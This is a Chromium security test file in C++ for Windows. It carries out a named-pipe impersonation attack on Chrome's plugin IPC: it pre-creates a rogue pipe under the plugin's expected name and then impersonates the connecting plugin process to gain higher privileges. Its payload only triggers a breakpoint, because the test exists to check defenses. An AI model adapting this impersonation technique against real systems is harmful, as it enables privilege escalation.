Enable disabling WebCore::GraphicsContext in telemetry.
[chromium-blink-merge.git] / chrome / test / security_tests / ipc_security_tests.cc
blob3b026b3ae0d2e61fc6b0bce3215ab5639bf86f7b
1 // Copyright (c) 2006-2008 The Chromium Authors. All rights reserved.
2 // Use of this source code is governed by a BSD-style license that can be
3 // found in the LICENSE file.
5 #include <windows.h>
6 #include <string>
7 #include <sstream>
9 #include "chrome/test/security_tests/ipc_security_tests.h"
11 namespace {
13 // Debug output messages prefix.
14 const char kODSMgPrefix[] = "[security] ";
15 // Format of the Chrome browser pipe for plugins.
16 const wchar_t kChromePluginPipeFmt[] = L"\\\\.\\pipe\\chrome.%ls.p%d";
17 // Size for the in/out pipe buffers.
18 const int kBufferSize = 1024;
20 // Define the next symbol if you want to have tracing of errors.
21 #ifdef PIPE_SECURITY_DBG
22 // Generic debug output function.
23 void ODSMessageGLE(const char* txt) {
24 DWORD gle = ::GetLastError();
25 std::ostringstream oss;
26 oss << kODSMgPrefix << txt << " 0x" << std::hex << gle;
27 ::OutputDebugStringA(oss.str().c_str());
29 #else
30 void ODSMessageGLE(const char* txt) {
32 #endif
34 // Retrieves the renderer pipe name from the command line. Returns true if the
35 // name was found.
36 bool PipeNameFromCommandLine(std::wstring* pipe_name) {
37 std::wstring cl(::GetCommandLineW());
38 const wchar_t key_name[] = L"--channel";
39 std::wstring::size_type pos = cl.find(key_name, 0);
40 if (std::wstring::npos == pos) {
41 return false;
43 pos = cl.find(L"=", pos);
44 if (std::wstring::npos == pos) {
45 return false;
47 ++pos;
48 size_t dst = cl.length() - pos;
49 if (dst <4) {
50 return false;
52 for (; dst != 0; --dst) {
53 if (!isspace(cl[pos])) {
54 break;
56 ++pos;
58 if (0 == dst) {
59 return false;
61 std::wstring::size_type pos2 = pos;
62 for (; dst != 0; --dst) {
63 if (isspace(cl[pos2])) {
64 break;
66 ++pos2;
68 *pipe_name = cl.substr(pos, pos2);
69 return true;
72 // Extracts the browser process id and the channel id given the renderer
73 // pipe name.
74 bool InfoFromPipeName(const std::wstring& pipe_name, std::wstring* parent_id,
75 std::wstring* channel_id) {
76 std::wstring::size_type pos = pipe_name.find(L".", 0);
77 if (std::wstring::npos == pos) {
78 return false;
80 *parent_id = pipe_name.substr(0, pos);
81 *channel_id = pipe_name.substr(pos + 1);
82 return true;
85 // Creates a server pipe, in byte mode.
86 HANDLE MakeServerPipeBase(const wchar_t* pipe_name) {
87 HANDLE pipe = ::CreateNamedPipeW(pipe_name, PIPE_ACCESS_DUPLEX,
88 PIPE_TYPE_BYTE | PIPE_READMODE_BYTE, 3,
89 kBufferSize, kBufferSize, 5000, NULL);
90 if (INVALID_HANDLE_VALUE == pipe) {
91 ODSMessageGLE("pipe creation failed");
93 return pipe;
96 // Creates a chrome plugin server pipe.
97 HANDLE MakeServerPluginPipe(const std::wstring& prefix, int channel) {
98 wchar_t pipe_name[MAX_PATH];
99 swprintf_s(pipe_name, kChromePluginPipeFmt, prefix.c_str(), channel);
100 return MakeServerPipeBase(pipe_name);
103 struct Context {
104 HANDLE pipe;
105 explicit Context(HANDLE arg_pipe) : pipe(arg_pipe) {
109 // This function is called from a thread that has a security context that is
110 // higher than the renderer security context. This can be the plugin security
111 // context or the browser security context.
112 void DoEvilThings(Context* context) {
113 // To make the test fail we simply trigger a breakpoint in the renderer.
114 ::DisconnectNamedPipe(context->pipe);
115 __debugbreak();
118 // This is a pipe server thread routine.
119 DWORD WINAPI PipeServerProc(void* thread_param) {
120 if (NULL == thread_param) {
121 return 0;
123 Context* context = static_cast<Context*>(thread_param);
124 HANDLE server_pipe = context->pipe;
126 char buffer[4];
127 DWORD bytes_read = 0;
129 for (;;) {
130 // The next call blocks until a connection is made.
131 if (!::ConnectNamedPipe(server_pipe, NULL)) {
132 if (GetLastError() != ERROR_PIPE_CONNECTED) {
133 ODSMessageGLE("== connect named pipe failed ==");
134 continue;
137 // return value of ReadFile is unimportant.
138 ::ReadFile(server_pipe, buffer, 1, &bytes_read, NULL);
139 if (::ImpersonateNamedPipeClient(server_pipe)) {
140 ODSMessageGLE("impersonation obtained");
141 DoEvilThings(context);
142 break;
143 } else {
144 ODSMessageGLE("impersonation failed");
146 ::DisconnectNamedPipe(server_pipe);
148 delete context;
149 return 0;
151 } // namespace
153 // Implements a pipe impersonation attack resulting on a privilege elevation on
154 // the chrome pipe-based IPC.
155 // When a web-page that has a plug-in is loaded, chrome will do the following
156 // steps:
157 // 1) Creates a server pipe with name 'chrome.<pid>.p<n>'. Initially n = 1.
158 // 2) Launches chrome with command line --type=plugin --channel=<pid>.p<n>
159 // 3) The new (plugin) process connects to the pipe and sends a 'hello'
160 // message.
161 // The attack creates another server pipe with the same name before step one
162 // so when the plugin connects it connects to the renderer instead. Once the
163 // connection is acepted and at least a byte is read from the pipe, the
164 // renderer can impersonate the plugin process which has a more relaxed
165 // security context (privilege elevation).
167 // Note that the attack can also be peformed after step 1. In this case we need
168 // another thread which used to connect to the existing server pipe so the
169 // plugin does not connect to chrome but to our pipe.
170 bool PipeImpersonationAttack() {
171 std::wstring pipe_name;
172 if (!PipeNameFromCommandLine(&pipe_name)) {
173 return false;
175 std::wstring parent_id;
176 std::wstring channel_id;
177 if (!InfoFromPipeName(pipe_name, &parent_id, &channel_id)) {
178 return false;
180 HANDLE plugin_pipe = MakeServerPluginPipe(parent_id, 1);
181 if (INVALID_HANDLE_VALUE == plugin_pipe) {
182 return true;
185 HANDLE thread = ::CreateThread(NULL, 0, PipeServerProc,
186 new Context(plugin_pipe), 0, NULL);
187 if (NULL == thread) {
188 return false;
190 ::CloseHandle(thread);
191 return true;